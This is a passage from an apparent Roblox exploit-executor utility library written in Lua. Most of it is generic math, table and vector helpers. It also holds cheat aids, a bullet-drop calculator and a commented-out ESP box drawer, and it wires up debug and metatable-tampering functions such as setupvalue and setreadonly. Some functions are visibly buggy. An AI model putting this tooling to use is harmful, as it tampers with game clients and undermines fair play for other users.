3060 if property == "Protect" and type(syn) == "table" and type(syn.protect_gui) == "function" then
3061 pcall(syn.protectgui, nstance)
3062 else
3063 nstance[tostring(property)] = value
3064 end
3065 end)
3066 end
3067 end
3068 if Pepsi.IsA(disapear, "number") and Pepsi.IsA(nstance, "Instance") then
3069 game:GetService("Debris"):AddItem(nstance, disapear)
3070 end
3071 return nstance
3072end
3073Instance.Make = Instance.make -- Added support for my GUI to lua
3074function math.round(n, d) -- Gotta do 'sum' rounding without floor
3075 n = tonumber(n or math.random())
3076 d = 10 ^ (d or 0)
3077 return ((n * d) + 0.5 - ((n * d) + 0.5) % 1) / d
3078end
3079function math.kinematic(startpos, velocity, duration, gravity) -- Bullet Drop calculator
3080 Pepsi.Arg(startpos, {"number", "Vector3", "CFrame"}, 1, "math.kinematic")
3081 Pepsi.Arg(velocity, {"number", "Vector3", "CFrame"}, 2, "math.kinematic")
3082 Pepsi.Arg(duration, "number", 3, "math.kinematic")
3083 Pepsi.Arg(gravity, {"nil", "number"}, 4, "math.kinematic")
3084 if type(startpos) == "number" then
3085 startpos = Pepsi.ToVector3(startpos).Y
3086 end
3087 if type(velocity) ~= "number" then
3088 velocity = Pepsi.ToVector3(velocity).Y
3089 end
3090 gravity = type(gravity) == "number" and gravity or workspace.Gravity
3091 local y = startpos + velocity * duration - (gravity * duration ^ 2) / 2
3092end
3093function math.isnan(num)
3094 if type(num) ~= "number" then
3095 return false
3096 end
3097 return false == (num > num) and false == (num < num) and false == (num == num)
3098end
3099function math.lerp(num1, num2, amount)
3100 Pepsi.Arg(num1, "number", 1, "math.lerp")
3101 Pepsi.Arg(num2, "number", 2, "math.lerp")
3102 Pepsi.Arg(amount, {"nil", "number"}, 3, "math.lerp")
3103 amount = tonumber(tonumber(amount or 0.5) or 0.5)
3104 return num1 + ((num2 - num1) * amount)
3105end
3106function math.xor(e, f)
3107 local g, h = 0X1, 0X0
3108 while e > 0X0 and f > 0X0 do
3109 local i, j = e % 0X2, f % 0X2
3110 if i ~= j then
3111 h = h + g
3112 end
3113 e, f, g = (e - i) / 0X2, (f - j) / 0X2, g * 0X2
3114 end
3115 if e < f then
3116 e = f
3117 end
3118 while e > 0X0 do
3119 local i = e % 0X2
3120 if i > 0X0 then
3121 h = h + g
3122 end
3123 e, g = (e - i) / 0X2, g * 0X2
3124 end
3125 return h
3126end
3127function math.range(n, min, max) -- Returns a number warped by arguments
3128 n = tonumber(n or 0)
3129 min = tonumber(min or 0)
3130 max = tonumber(max or math.huge)
3131 if min > n then
3132 return min
3133 elseif max < n then
3134 return max
3135 end
3136 return n
3137end
3138function math.inverse(n) -- really stupid, but requested
3139 return tonumber(1 / tonumber(n or 1))
3140end
3141function math.coinflip() -- returns on a 50% chance
3142 return math.random(2) > 1
3143end
3144function math.chance(n)
3145 Pepsi.Arg(n, {"nil", "number"}, 1, "math.chance")
3146 return math.random(tonumber(n or 2)) == 1
3147end
3148function math.ranfloat(min, max)
3149 if min and not max then
3150 max, min = min, max
3151 end
3152 min, max = tonumber(min or -1), tonumber(max or 1)
3153 if type(min) == "number" and type(max) == type(min) then
3154 local int = math.random(min, max)
3155 local float = math.random() * ({1, -1})[math.random(2)]
3156 local res = int + float
3157 if res < min then -- Ninjas have not more than 2 legs.
3158 return min
3159 end
3160 if res > max then
3161 return max
3162 end
3163 return tonumber(res or math.random())
3164 end
3165 return tonumber(math.random() * ({1, -1})[math.random(2)])
3166end
3167function math.hex(num, case) -- Turn a number into a hex form
3168 if tostring(num):find("%.") then
3169 return num
3170 end
3171 local p = ""
3172 num = tonumber(num or 0) or 0
3173 if 0 > num then
3174 p = "-"
3175 num = math.abs(num)
3176 end
3177 case = case or false
3178 return string[case and "upper" or "lower"](tostring(tostring(p or "") .. "0X" .. tostring(string.format((function(x)
3179 if x then
3180 return "%X"
3181 end
3182 return "%x"
3183 end)(case), tonumber(num or 0)))))
3184end
3185function table.asort(t, sort_slot, rev) -- Array sort
3186 Pepsi.Arg(t, "table", 1, "table.esort")
3187 Pepsi.Arg(sort_slot, {"number", "nil"}, 2, "table.esort")
3188 Pepsi.Arg(rev, {"boolean", "nil"}, 3, "table.esort")
3189 sort_slot = tonumber(1 + tonumber(tonumber(sort_slot or 1) or 1)) -- You only need 1 tonumber... unless an idiot is using this.
3190 rev = not not rev
3191 table.sort(t, function(a, b)
3192 if rev then
3193 return a[sort_slot] < b[sort_slot]
3194 end
3195 return a[sort_slot] > b[sort_slot]
3196 end)
3197 return t
3198end
3199function table.eachcall(tab, func, args) -- Namecall each child
3200 Pepsi.Arg(tab, "table", 1, "table.eachcall")
3201 Pepsi.Arg(func, "string", 2, "table.eachcall")
3202 Pepsi.Arg(args, {"nil", "table"}, 3, "table.eachcall")
3203 if type(args) ~= "table" then
3204 args = {}
3205 end
3206 for _, val in pairs(tab) do
3207 val[func](val, (unpack(args or {}) or {}))
3208 end
3209end
3210function table.esort(t, sort, sort_slot, rev) -- Extra sort
3211 Pepsi.Arg(t, "table", 1, "table.esort")
3212 Pepsi.Arg(sort, {"boolean", "nil"}, 2, "table.esort")
3213 Pepsi.Arg(sort_slot, {"number", "nil"}, 3, "table.esort")
3214 Pepsi.Arg(rev, {"boolean", "nil"}, 4, "table.esort")
3215 local master = {}
3216 for k, v in pairs(t) do
3217 if type(v) == "table" then -- Boy, someone really missed the point of this function.
3218 table.insert(master, {k, unpack(v)}) -- But not to worry, Pepsi has made a temporary fix to their stupidity.
3219 else
3220 table.insert(master, {k, v})
3221 end
3222 end
3223 if sort then
3224 return table.asort(master, sort_slot, rev)
3225 end
3226 return master
3227end
3228function table.count(t) -- Count dictionary tables
3229 local n = 0
3230 if Pepsi.IsA(t, {}) then
3231 for key, value in pairs(t or {}) do
3232 n = 1 + n
3233 end
3234 end
3235 return tonumber(n or 0)
3236end
3237function table.tojson(tab)
3238 Pepsi.Arg(tab, "table", 1, "table.tojson")
3239 return game:GetService("HttpService"):JSONEncode(tab)
3240end
3241function table.fromjson(str)
3242 Pepsi.Arg(str, "string", 1, "table.fromjson")
3243 return game:GetService("HttpService"):JSONDecode(str)
3244end
3245function table.xml(t) -- Converts a table into an xml string // Inspired by Shell64 // WORK IN PROGRESS
3246 Pepsi.Arg(t, "table", 1, "table.xml")
3247 return parse(t or {})
3248end
3249function table.sert(...)
3250 old_ins(...)
3251 return ({...})[1] or {}
3252end
3253function table.sort(t, f, ...) -- Table.sort now returns the table
3254 old_sort(t, f, ...)
3255 return t or {}
3256end
3257function table.clear(t, v) -- Table begone and Pepsied
3258 if Pepsi.IsA(t, {}) then
3259 for index, value in pairs(t or {}) do
3260 if value == v then
3261 t[index] = nil
3262 end
3263 end
3264 end
3265 return t or {}
3266end
3267function table.filterfunc(objects, func, async)
3268 Pepsi.Arg(objects, {"table", "Instance"}, 1, "table.filterfunc")
3269 Pepsi.Arg(func, "function", 2, "table.filterfunc")
3270 Pepsi.Arg(async, {"boolean", "nil"}, 3, "table.filterfunc")
3271 if typeof(objects) == "Instance" then
3272 objects = objects:GetChildren()
3273 end
3274 local items = {}
3275 for _, obj in pairs(objects) do
3276 if func(obj) then
3277 table.insert(items, obj)
3278 end
3279 if async then
3280 if typeof(async) == "RBXScriptSignal" then
3281 async:Wait()
3282 else
3283 Pepsi.Rs:Wait()
3284 end
3285 end
3286 end
3287 return items
3288end
3289function table.filter(t, v) -- Returns a table with values that matched arguments
3290 if Pepsi.IsA(t, {}) then
3291 for index, value in pairs(t or {}) do
3292 if not Pepsi.IsA(value, v) then
3293 t[index] = nil
3294 end
3295 end
3296 end
3297 return t or {}
3298end
3299function table.merge(...) -- Merge tables
3300 local tables = {...}
3301 local master = {}
3302 for _, t in pairs(tables) do
3303 if type(t) == "table" then
3304 for k, v in pairs(t) do
3305 master[k] = v
3306 end
3307 else
3308 table.insert(master, t)
3309 end
3310 end
3311 return master
3312end
3313function table.softmerge(...)
3314 local tables = {...}
3315 local master = {}
3316 for _, t in pairs(tables) do
3317 if type(t) == "table" then
3318 for k, v in pairs(t) do
3319 if rawget(master, k) ~= nil then
3320 master[k] = v
3321 elseif type(k) == "number" then
3322 table.insert(master, v)
3323 end
3324 end
3325 else
3326 table.insert(master, t)
3327 end
3328 end
3329 return master
3330end
3331function table.add(...)
3332 local async = false
3333 local tabs = {...}
3334 Pepsi.Arg(tabs[1], "table", 1, "table.add")
3335 Pepsi.Arg(tabs[2], "table", 2, "table.add")
3336 if #tabs > 2 and type(tabs[#tabs]) == "boolean" then
3337 async = table.remove(tabs, #tabs)
3338 end
3339 if #tabs > 2 then
3340 for k = 3, #tabs do
3341 Pepsi.Arg(tabs[k], {"nil", "table"}, k, "table.add")
3342 end
3343 end
3344 local master = {}
3345 for _, tab in pairs(tabs) do
3346 for k, v in pairs(tab) do
3347 if type(k) == "number" then
3348 table.insert(master, v)
3349 elseif master[k] == nil then
3350 master[k] = v
3351 end
3352 if async then
3353 if typeof(async) == "RBXScriptSignal" then
3354 async:Wait()
3355 else
3356 Pepsi.Rs:Wait()
3357 end
3358 end
3359 end
3360 if async then
3361 if typeof(async) == "RBXScriptSignal" then
3362 async:Wait()
3363 else
3364 Pepsi.Rs:Wait()
3365 end
3366 end
3367 end
3368 return master
3369end
3370function table.negate(tab, tab2, match_keys)
3371 Pepsi.Arg(tab, "table", 1, "table.negate")
3372 Pepsi.Arg(tab2, "table", 2, "table.negate")
3373 Pepsi.Arg(match_keys, {"nil", "boolean"}, 3, "table.negate")
3374 if not match_keys then
3375 local master = table.dictionary(tab)
3376 for k, v in pairs(tab2) do
3377 master[v] = nil
3378 end
3379 return table.keys(master)
3380 end
3381 local master = tab
3382 for k, v in pairs(tab) do
3383 for k2, v2 in pairs(tab2) do
3384 if rawequal(k, k2) and rawequal(v, v2) then
3385 if type(k) == "number" then
3386 table.remove(master, k)
3387 else
3388 master[k] = nil
3389 end
3390 end
3391 end
3392 end
3393 return master
3394end
3395function table.ksort(t) -- Sort table by keys instead of values
3396 if Pepsi.IsA(t, "table") then
3397 local tt = {}
3398 for k, v in pairs(t) do
3399 table.insert(tt, tostring(k))
3400 end
3401 local nt = {}
3402 table.sort(tt)
3403 for k, v in pairs(tt) do
3404 nt[v] = t[v]
3405 end
3406 return nt
3407 end
3408 return t or {}
3409end
3410function table.flipkeys(t)
3411 if type(t) == "table" then
3412 local nt = {}
3413 for k, v in pairs(t) do
3414 nt[v] = k
3415 end -- Dogs have four legs
3416 return nt
3417 end
3418end
3419function table.shuffle(t)
3420 local nt = {}
3421 for i = #t, 1, -1 do
3422 local j = math.random(i)
3423 t[i], t[j] = t[j], t[i]
3424 table.insert(nt, t[i])
3425 end
3426 return nt or t or {}
3427end
3428function table.show(depth, ...)
3429 local tabs = {...}
3430 if type(depth) ~= "number" then
3431 tabs = {depth, ...}
3432 depth = 4
3433 end
3434 function printt(tab, d)
3435 d = tonumber(tonumber(d or 0) or 0)
3436 if d > depth then
3437 return
3438 end
3439 local pre = string.rep(" ", 3 * d)
3440 for key, val in pairs(tab) do
3441 print(pre, key, val)
3442 Pepsi.Rs:Wait()
3443 if type(key) == "table" then
3444 printt(key, d + 1)
3445 end
3446 if type(val) == "table" then
3447 printt(val, d + 1)
3448 end
3449 end
3450 end
3451 for key, val in pairs(tabs) do
3452 Pepsi.Rs:Wait()
3453 print(key, val)
3454 if type(key) == "table" then
3455 printt(key, 0)
3456 end
3457 if type(val) == "table" then
3458 printt(val, 0)
3459 end
3460 end
3461end
3462function table.keys(...)
3463 local tabs = {...}
3464 local keys = {}
3465 local names = {}
3466 for k, v in pairs(tabs) do
3467 if type(v) == "table" then
3468 for k, v in pairs(v) do
3469 if not names[k] then
3470 names[k] = true
3471 table.insert(keys, k)
3472 end
3473 end
3474 end
3475 end
3476 return keys or names or {}
3477end
3478function table.print(customfunc, ...)
3479 local tables = {...}
3480 if type(customfunc) == "table" or typeof(customfunc) == "Instance" then
3481 table.insert(tables, 1, customfunc)
3482 customfunc = print
3483 end
3484 for k, v in pairs(tables) do
3485 if typeof(v) == "Instance" then
3486 tables[k] = v:GetChildren()
3487 end
3488 end
3489 if not next(tables) then
3490 return assert(customfunc or print, "Missing print function?")("Table empty")
3491 end
3492 for k, v in pairs(tables) do
3493 if type(v) == "table" then
3494 table.foreach(v, customfunc)
3495 else
3496 print(v)
3497 end
3498 end
3499end
3500function table.rsort(tab)
3501 table.sort(tab, function(a, b)
3502 return a > b
3503 end)
3504 return tab
3505end
3506function table.eachfor(tab, func) -- table.foreach but arguments flipped
3507 for v, k in pairs(tab) do
3508 func(k, v)
3509 end
3510end
3511function table.dictionary(t, def, set)
3512 local nt = {}
3513 if def == nil then
3514 def = true
3515 end
3516 if type(t) == "table" then
3517 for k, v in pairs(t) do
3518 nt[v] = def
3519 if set then
3520 t[v] = def
3521 end
3522 end
3523 end
3524 return nt or {}
3525end
3526function table.each(typ, tab, func) -- table.foreach but arguments flipped
3527 if func == nil and type(tab) == "function" and type(typ) == "table" then
3528 typ, tab, func = true, typ, tab
3529 end
3530 for k, v in pairs(tab) do
3531 func(typ and v or k)
3532 end
3533end
3534table.mix = table.shuffle
3535table.subtract = table.negate
3536table.ffilter = table.filterfunc
3537table.filterfunction = table.filterfunc
3538table.minus = table.negate
3539table.unpack = unpack -- For those who are adept outside roblox
3540function Vector3.Table(v)
3541 v = Pepsi.ToVector3(v)
3542 return {X = v.X, Y = v.Y, Z = v.Z}
3543end
3544function Vector3.alter(vec, mods, y, z, relative)
3545 Pepsi.Arg(vec, {"Vector3", "CFrame"}, 1, "Vector3.alter")
3546 Pepsi.Arg(mods, {"table", "number"}, 2, "Vector3.alter")
3547 Pepsi.Arg(y, {"nil", "number"}, 3, "Vector3.alter")
3548 Pepsi.Arg(z, {"nil", "number"}, 4, "Vector3.alter")
3549 Pepsi.Arg(relative, {"nil", "boolean"}, 5, "Vector3.alter")
3550 local x, y, z, relative = math.nan, math.nan, math.nan, false
3551 if type(mods) == "table" then
3552 x, y, z, relative = mods.x, mods.y, mods.z, (mods.relative or mods.rel) == true
3553 elseif type(mods) == "number" then
3554 x, y, z, relative = mods, y, z, relative == true
3555 end
3556 Pepsi.Arg(x, {"nil", "number"}, 2, "Vector3.alter")
3557 Pepsi.Arg(y, {"nil", "number"}, 3, "Vector3.alter")
3558 Pepsi.Arg(z, {"nil", "number"}, 4, "Vector3.alter")
3559 Pepsi.Arg(relative, {"nil", "boolean"}, 5, "Vector3.alter")
3560 local vec = Pepsi.ToVector3(vec)
3561 if relative then
3562 x, y, z = tonumber(math.isnan(x) and 0 or x), tonumber(math.isnan(y) and 0 or y), tonumber(math.isnan(z) and 0 or z)
3563 return vec + Vector3.new(x, y, z)
3564 else
3565 local nx, ny, nz = vec.X, vec.Y, vec.Z
3566 x, y, z = (not math.isnan(x) and x), (not math.isnan(y) and y), (not math.isnan(z) and z)
3567 if type(x) == "number" then
3568 nx = x
3569 end
3570 if type(y) == "number" then
3571 ny = y
3572 end
3573 if type(z) == "number" then
3574 nz = z
3575 end
3576 return Vector3.new(nx, ny, nz)
3577 end
3578 return Pepsi.ToVector3(vec)
3579end
3580function Vector3.Corners(vec, size)
3581 if size == nil and Pepsi.IsA(vec, "BasePart") then
3582 vec, size = vec.CFrame, vec.Size
3583 elseif size == nil and type(vec) == "table" then
3584 if vec.Size and vec.CFrame then
3585 vec = vec.CFrame
3586 size = vec.Size
3587 else
3588 vec, size = unpack(vec)
3589 end
3590 elseif vec ~= nil and nil ~= size then
3591 vec, size = Pepsi.ToCFrame(vec), Pepsi.ToVector3(size)
3592 end
3593 if typeof(vec) ~= "CFrame" or typeof(size) ~= "Vector3" then
3594 return false
3595 end
3596 local corners = {}
3597 corners[1] = vec * (size * Vector3.new(1, 1, 1) / 2)
3598 corners[2] = vec * (size * Vector3.new(-1, 1, 1) / 2)
3599 corners[3] = vec * (size * Vector3.new(-1, -1, 1) / 2)
3600 corners[4] = vec * (size * Vector3.new(1, 1, -1) / 2)
3601 corners[5] = vec * (size * Vector3.new(-1, -1, 1) / 2)
3602 corners[6] = vec * (size * Vector3.new(1, -1, -1) / 2)
3603 corners[7] = vec * (size * Vector3.new(-1, 1, -1) / 2)
3604 corners[8] = vec * (size * Vector3.new(-1, -1, -1) / 2)
3605 return corners
3606end
3607function Vector3.Ranges(vecs, ...)
3608 if Pepsi.IsA(vecs, "BasePart") then
3609 vecs = Vector3.Corners(vecs)
3610 elseif typeof(vecs) == "Vector3" or "CFrame" == typeof(vecs) then
3611 vecs = {vecs, ...}
3612 end
3613 if type(vecs) ~= "table" then
3614 return false
3615 end
3616 local ranges = {
3617 X = {},
3618 Y = {},
3619 Z = {}
3620 }
3621 for k, v in pairs(vecs) do
3622 local vec = Pepsi.ToVector3(v)
3623 if vec then
3624 if not ranges.X[1] or vec.X < ranges.X[1] then
3625 ranges.X[1] = vec.X
3626 end
3627 if not ranges.X[2] or vec.X > ranges.X[2] then
3628 ranges.X[2] = vec.X
3629 end
3630
3631 if not ranges.Y[1] or vec.Y < ranges.Y[1] then
3632 ranges.Y[1] = vec.Y -- Ninjas have two legs
3633 end
3634 if not ranges.Y[2] or vec.Y > ranges.Y[2] then
3635 ranges.Y[2] = vec.Y
3636 end
3637
3638 if not ranges.Z[1] or vec.Z < ranges.Z[1] then
3639 ranges.Z[1] = vec.Z
3640 end
3641 if not ranges.Z[2] or vec.Z > ranges.Z[2] then
3642 ranges.Z[2] = vec.Z
3643 end
3644 end
3645 end
3646 return ranges
3647end
3648function Vector3.PointFromRange(range, override)
3649 Pepsi.Arg(range, {"table", "Instance"}, 1, "Vector3.PointFromRange")
3650 Pepsi.Arg(override, {"nil", "table"}, 1, "Vector3.PointFromRange")
3651 if typeof(range) == "Instance" and range:IsA("BasePart") then
3652 range = Vector3.Ranges(range)
3653 Pepsi.Arg(range, "table", 1, "Vector3.PointFromRange", "Couldn't get ranges of a " .. tostring(range.ClassName))
3654 else
3655 Pepsi.Arg(range, "table", 1, "Vector3.PointFromRange", "Couldn't get ranges of a " .. tostring(range.ClassName))
3656 end
3657 Pepsi.Arg(range, "table", 1, "Vector3.PointFromRange", "Couldn't get ranges")
3658 if "table" ~= type(range.X) or "table" ~= type(range.Y) or type(range.Z) ~= "table" then
3659 Pepsi.Arg(range, "table/sub table", 1, "Vector3.PointFromRange", "Sub items are not tables")
3660 end
3661 override = override or {}
3662 local ranx, rany, ranz = rawget(override, "X") or math.random(unpack(range.X)), rawget(override, "Y") or math.random(unpack(range.Y)), rawget(override, "Z") or math.random(unpack(range.Z))
3663 if ranx and rany and ranz then
3664 return Vector3.new(ranx, rany, ranz)
3665 end
3666end
3667function Vector3.InRegion(vec, obj, def)
3668 if vec == nil and obj ~= nil then
3669 return false
3670 end
3671 if def == nil then
3672 def = true
3673 end
3674 if obj == nil then
3675 obj = Pepsi.Me()
3676 end
3677 if type(vec) ~= "table" or obj == nil then
3678 if Pepsi.IsA(vec, "BasePart") and obj ~= nil then
3679 vec = Vector3.Ranges(vec)
3680 end
3681 if type(vec) ~= "table" or obj == nil then
3682 return false
3683 end
3684 end
3685 obj = Pepsi.ToVector3(obj)
3686 if typeof(obj) ~= "Vector3" then
3687 return false
3688 end
3689 if vec.X and not vec.x then
3690 vec.x = vec.X
3691 end
3692 if vec.Y and not vec.y then
3693 vec.y = vec.Y
3694 end
3695 if vec.Z and not vec.z then
3696 vec.z = vec.Z
3697 end
3698 if type(vec.x) == "table" and type(vec.y) == "table" and type(vec.z) == "table" then
3699 table.sort(vec.x)
3700 table.sort(vec.y)
3701 table.sort(vec.z)
3702 if obj.X < vec.x[1] then
3703 return false
3704 elseif obj.X > vec.x[2] then
3705 return false
3706 elseif obj.Y < vec.y[1] then -- FUCK! Sorry, this looked like a good spot to put that.
3707 return false
3708 elseif obj.Y > vec.y[2] then
3709 return false
3710 elseif obj.Z < vec.z[1] then
3711 return false
3712 elseif obj.Z > vec.z[2] then
3713 return false
3714 end
3715 else
3716 return false
3717 end
3718 return def
3719end
3720function Vector3.Direction(vec1, vec2)
3721 vec1 = Pepsi.ToVector3(vec1)
3722 vec2 = Pepsi.ToVector3(vec2)
3723 Pepsi.Arg(vec1, "Vector3", 1, "Vector3.Direction")
3724 Pepsi.Arg(vec2, "Vector3", 2, "Vector3.Direction")
3725 return vec1 - vec2 -- Srsly guys, you dont need to request stuff that can be done in 2 seconds
3726end
3727Vector3.Region = Vector3.InRegion
3728Vector3.GetDirection = Vector3.Direction
3729function Region3.FromPart(p) -- Lord give me fucking strength. please.
3730 Pepsi.Arg(p, "Instance", 1, "Region3.FromPart")
3731 if not p:IsA("BasePart") then
3732 Pepsi.Arg(nil, "Instance", 1, "Region3.FromPart", "Value needs to be a BasePart")
3733 end
3734 local x, y, z, R00, R01, R02, R10, R11, R12, R20, R21, R22 = p.CFrame:GetComponents()
3735 local wsx, wsy, wsz = (math.abs(R00) * p.Size.X + math.abs(R01) * p.Size.Y + math.abs(R02) * p.Size.Z) / 2, (math.abs(R10) * p.Size.X + math.abs(R11) * p.Size.Y + math.abs(R12) * p.Size.Z) / 2, (math.abs(R20) * p.Size.X + math.abs(R21) * p.Size.Y + math.abs(R22) * p.Size.Z) / 2
3736 return Region3.new(Vector3.new(x - wsx, y - wsy, z - wsz), Vector3.new(x + wsx, y + wsy, z + wsz))
3737end
3738function Region3.ToPart(reg, props, debris)
3739 Pepsi.Arg(reg, "Region3", 1, "Region3.ToPart")
3740 Pepsi.Arg(props, {"nil", "table"}, 2, "Region3.ToPart")
3741 Pepsi.Arg(debris, {"nil", "number"}, 3, "Region3.ToPart")
3742 return Instance.Make("Part", (props or {
3743 CFrame = reg.CFrame,
3744 Size = reg.Size,
3745 Anchored = true,
3746 Transparency = 0.7,
3747 BrickColor = BrickColor.Random(),
3748 CanCollide = false,
3749 Parent = workspace
3750 }), debris)
3751end
3752function Region3.GetPlayers(region)
3753 Pepsi.Arg(region, "Region3", 1, "Region3.GetPlayers")
3754 return Pepsi.PartsToPlayers(workspace:FindPartsInRegion3(region))
3755end
3756function CFrame.LookAt(targ, from) -- This is the kind of stuff that gets requested...
3757 targ = Pepsi.ToVector3(targ)
3758 from = Pepsi.ToVector3(from or workspace.CurrentCamera.Position)
3759 Pepsi.Arg(targ, "Vector3", 1, "CFrame.LookAt")
3760 Pepsi.Arg(from, "Vector3", 2, "CFrame.LookAt")
3761 return CFrame.new(from, targ) -- Really guys, it's not that hard.
3762end
3763CFrame.Look = CFrame.LookAt
3764--[[
3765function Drawing.Highlight(part, properties)
3766 if not Drawing or not Drawing.new then
3767 warn("Drawing api absent")
3768 local function dummy()
3769 warn("Drawing api absent")
3770 end
3771 return {
3772 Lines = {},
3773 Remove = dummy,
3774 Show = dummy,
3775 Hide = dummy,
3776 Visible = dummy
3777 }
3778 end
3779 local visible = true
3780 if type(properties) == "boolean" then
3781 visible = properties
3782 end
3783 local DrawObject = {
3784 Lines = {
3785 Drawing.new("Line"),
3786 Drawing.new("Line"),
3787 Drawing.new("Line"),
3788 Drawing.new("Line")
3789 }
3790 }
3791 for num, line in pairs(DrawObject.Lines) do
3792 local x, e = pcall(function()
3793 local pos, size
3794 if part:IsA("Model") then
3795 pos, size = part:GetBoundingBox()
3796 elseif part:IsA("BasePart") then
3797 pos, size = part.CFrame, part.Size
3798 end
3799 local tl, tlv = workspace.CurrentCamera:WorldToViewportPoint(pos:ToWorldSpace(CFrame.new(size.X, size.Y, 0)).Position)
3800 local tr, trv = workspace.CurrentCamera:WorldToViewportPoint(pos:ToWorldSpace(CFrame.new(-size.X, size.Y, 0)).Position)
3801 local bl, blv = workspace.CurrentCamera:WorldToViewportPoint(pos:ToWorldSpace(CFrame.new(size.X, -size.Y, 0)).Position)
3802 local br, brv = workspace.CurrentCamera:WorldToViewportPoint(pos:ToWorldSpace(CFrame.new(-size.X, -size.Y, 0)).Position)
3803 if num == 1 then
3804 line.From = Vector2.new(tl.X, tl.Y)
3805 line.To = Vector2.new(tr.X, tr.Y)
3806 elseif num == 2 then
3807 line.From = Vector2.new(tr.X, tr.Y)
3808 line.To = Vector2.new(br.X, br.Y)
3809 elseif num == 3 then
3810 line.From = Vector2.new(bl.X, bl.Y)
3811 line.To = Vector2.new(tl.X, tl.Y)
3812 elseif num == 4 then
3813 line.From = Vector2.new(br.X, br.Y)
3814 line.To = Vector2.new(bl.X, bl.Y)
3815 end
3816 line.Color = BrickColor.Red().Color
3817 line.Thickness = 6
3818 line.Visible = not not visible
3819 if type(properties) == "table" then
3820 for prop, val in pairs(properties) do
3821 local x, e = pcall(function()
3822 line[prop] = val
3823 end)
3824 if not x then
3825 warn(e)
3826 end
3827 end
3828 end
3829 end)
3830 if not x then
3831 warn(e)
3832 end
3833 end
3834 function DrawObject:Remove()
3835 if self and self.Lines then
3836 for _, line in pairs(self.Lines) do
3837 pcall(function()
3838 return line:Remove()
3839 end)
3840 end
3841 end
3842 end
3843 function DrawObject:Show()
3844 if self and self.Lines then
3845 for _, line in pairs(self.Lines) do
3846 pcall(function()
3847 line.Visible = true
3848 end)
3849 end
3850 end
3851 end
3852 function DrawObject:Hide()
3853 if self and self.Lines then
3854 for _, line in pairs(self.Lines) do
3855 pcall(function()
3856 line.Visible = false
3857 end)
3858 end
3859 end
3860 end
3861 function DrawObject:Visible(bool)
3862 if self and self.Lines then
3863 for _, line in pairs(self.Lines) do
3864 pcall(function()
3865 if type(bool) ~= "boolean" or bool == nil then
3866 line.Visible = not line.Visible
3867 elseif type(bool) == "boolean" then
3868 line.Visible = bool
3869 end
3870 end)
3871 end
3872 end
3873 end
3874 if type(properties) == "number" then
3875 delay(properties, function()
3876 DrawObject:Remove()
3877 end)
3878 end
3879 return DrawObject
3880end]]
3881
3882local function typeof(val)
3883 if robloxtype(val) == "userdata" then
3884 local s, t = pcall(function()
3885 return tostring(val.ClassName or "userdata") or "userdata"
3886 end)
3887 if s and t then
3888 return t
3889 end
3890 return "userdata"
3891 end
3892 return robloxtype(val)
3893end
3894
3895if not Pepsi.Tick and not gethwid and not GetObjects and not HttpGet and not ReplaceString and not SetProxy then -- Fuck sirhurt fucking this up.
3896 Pepsi.TickService = Pepsi.NewClass("TickService", {}, false, {
3897 Tick = {
3898 triggers = {
3899 game:GetService("RunService").RenderStepped,
3900 game:GetService("RunService").Heartbeat,
3901 game:GetService("RunService").Stepped
3902 }
3903 },
3904 SuperTick = {
3905 triggers = {
3906 game:GetService("RunService").RenderStepped,
3907 game:GetService("RunService").Heartbeat,
3908 game:GetService("RunService").Stepped,
3909 game.ItemChanged
3910 }
3911 }
3912 })
3913 Pepsi.Tick = Pepsi.TickService.Tick
3914 Pepsi.SuperTick = Pepsi.TickService.SuperTick
3915 Pepsi.STick = Pepsi.TickService.SuperTick
3916elseif not Pepsi.Tick then
3917 Pepsi.Tick = Pepsi.Rs -- Sirhurt anti-fuck-up
3918 Pepsi.STick, Pepsi.SuperTick = Pepsi.Rs, Pepsi.Rs
3919end
3920
3921if getgenv then
3922 Pepsi.ycall(function() -- Protected, spawned call
3923 if not getgenv then
3924 return
3925 end
3926 for k = 1, 20 do
3927 pcall(function()
3928 if game:GetService("Players").LocalPlayer then
3929 getgenv().Pepsi.Lp = game:GetService("Players").LocalPlayer
3930 end
3931 end)
3932 wait(1)
3933 if Pepsi.Lp then
3934 break
3935 end
3936 end
3937 end)
3938end
3939
3940if not shared.PepsiUtil then
3941 shared.PepsiUtil = true
3942 Pepsi.Msg("Pepsi's Utilites Loaded! (Version:" .. tostring(_version) .. ")")
3943else
3944 Pepsi.Msg("Pepsi's Utilites Reloaded! (Version:" .. tostring(_version) .. ")")
3945end
3946auto_exec = auto_exec and getgenv and type(getgenv) == "function" and type(getgenv()) == "table" -- In short, if you don't have getgenv, autoexec won't work, and hense runs it regularly
3947if getgenv and type(getgenv) == "function" then
3948 Pepsi.Compatible()
3949 shared.dbg = shared.dbg or {}
3950 getgenv().robloxtype = getgenv().robloxtype or robloxtype
3951 getgenv().typeof = typeof
3952 getgenv().Color3, getgenv().Instance, getgenv().math, getgenv().string, getgenv().table, getgenv().Vector3, getgenv().Pepsi, getgenv().dbg = setmetatable({}, {__index = Color3}), setmetatable({}, {__index = Instance}), setmetatable({}, {__index = math}), setmetatable({rtl = utf8.char(8238)}, {__index = string}), setmetatable({}, {__index = table}), setmetatable({}, {__index = Vector3}), Pepsi, setmetatable({
3953 tb = traceback or debug.traceback or getrenv().debug.traceback or rawget(shared.dbg, "tb") or warn("shared.dbg.tb needs to be set to 'debug.traceback' function!"),
3954 grmt = getrawmetatable or rawget(shared.dbg, "grmt") or warn("shared.dbg.grmt needs to be set to 'getrawmetatable' function!"),
3955 sro = setreadonly or rawget(shared.dbg, "sro") or warn("shared.dbg.grmt needs to be set to 'setreadonly' function!"),
3956 gl = debug.getlocals or getlocals or rawget(shared.dbg, "gl") or warn("shared.dbg.grmt needs to be set to 'getlocals' function!"),
3957 sl = debug.setlocal or setlocal or rawget(shared.dbg, "sl") or warn("shared.dbg.grmt needs to be set to 'setlocal' function!"),
3958 su = debug.setupvalue or setupvalue or rawget(shared.dbg, "su") or warn("shared.dbg.su needs to be set to 'setupvalue' function!"),
3959 gus = debug.getupvalues or getupvalues or rawget(shared.dbg, "gus" or warn("shared.dbg.gus needs to be set to 'getupvalues' function!")),
3960 gu = debug.getupvalue or getupvalue or rawget(shared.dbg, "gu" or warn("shared.dbg.gu needs to be set to 'getupvalue' function!")),
3961 sc = debug.setconstant or setconstant or rawget(shared.dbg, "sc" or warn("shared.dbg.sc needs to be set to 'setconstant' function!")),
3962 gst = debug.getstack or getstack or rawget(shared.dbg, "gst" or warn("shared.dbg.gst needs to be set to 'getstack' function!")),
